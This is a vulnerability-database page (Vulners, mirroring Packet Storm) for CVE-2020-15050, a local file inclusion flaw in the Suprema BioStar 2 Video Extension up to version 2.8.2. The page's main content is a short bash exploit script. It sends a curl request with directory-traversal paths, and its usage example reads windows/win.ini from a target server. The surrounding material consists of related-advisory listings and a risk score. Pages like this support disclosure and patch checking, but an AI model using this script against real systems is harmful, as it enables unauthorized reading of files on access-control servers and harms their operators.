Lucene search
K

Bio Star 2.8.2 Local File Inclusion

🗓️ 27 Jul 2020 00:00:00Reported by Bashaer AlHarthyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 286 Views

Bio Star 2.8.2 Local File Inclusion vulnerability SITE Tea

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Bio Star 2.8.2 - Local File Inclusion Vulnerability
27 Jul 202000:00
zdt
ATTACKERKB
CVE-2020-15050
13 Jul 202021:15
attackerkb
CVE
CVE-2020-15050
13 Jul 202020:16
cve
Cvelist
CVE-2020-15050
13 Jul 202020:16
cvelist
Exploit DB
Bio Star 2.8.2 - Local File Inclusion
26 Jul 202000:00
exploitdb
Nuclei
Suprema BioStar <2.8.2 - Local File Inclusion
4 Jun 202603:48
nuclei
NVD
CVE-2020-15050
13 Jul 202021:15
nvd
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Root) - Active Check
18 Apr 201700:00
openvas
Prion
Directory traversal
13 Jul 202021:15
prion
Positive Technologies
PT-2020-14145 · Suprema · Suprema Biostar 2
13 Jul 202000:00
ptsecurity
Rows per page
`# Exploit Title: Bio Star 2.8.2 - Local File Inclusion  
# Authors: SITE Team (Rian Saaty, Bashaer AlHarthy, Safeyah Alhazmi)  
# Google Dork: N/A  
# Date of Exploit Release: 2020-07-13  
# Exploit Author: SITE Team  
# Vendor Homepage: https://www.supremainc.com/en/main.asp  
# Software Link: https://www.supremainc.com/en/support/biostar-2-pakage.asp  
# Version: Bio Star 2, Video Extension up to version 2.8.2  
# Tested on: Windows  
# CVE : CVE-2020-15050  
  
  
#!/bin/bash  
  
# Exploit Title: Video Extension of Bio Star up to 2.8.1 Local File Inclusion Exploit  
# Authors: SITE Team (Rian Saaty, Bashaer AlHarthy, Safeyah Alhazmi)  
# Google Dork: N/A  
# Date of Exploit Release: 13/7/2020  
# Exploit Author: SITE Team  
# Vendor Homepage: https://www.supremainc.com/en/main.asp  
# Software Link: https://www.supremainc.com/en/support/biostar-2-pakage.asp  
# Version: Bio Star 2, Video Extension up to version 2.8.1  
# Tested on: Windows  
# CVE : CVE-2020-15050  
  
echo "*********** SITE TEAM *********************"  
echo "*********** Video Extension of Bio Star 2 Local File Inclusion Exploit ***********"  
echo "*********** Rian Saaty, Bashaer AlHarthy, Safeyah Alhazmi *********************"  
  
if [ -z "$*" ]; then echo "Usage Example: ./exploit.sh https://website/ ../../../../../../../../../../../../windows/win.ini"  
echo "*******************************************"  
else  
args=("$@")  
curl -X GET --path-as-is -k ${args[0]}${args[1]}  
fi  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2020 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.79036
286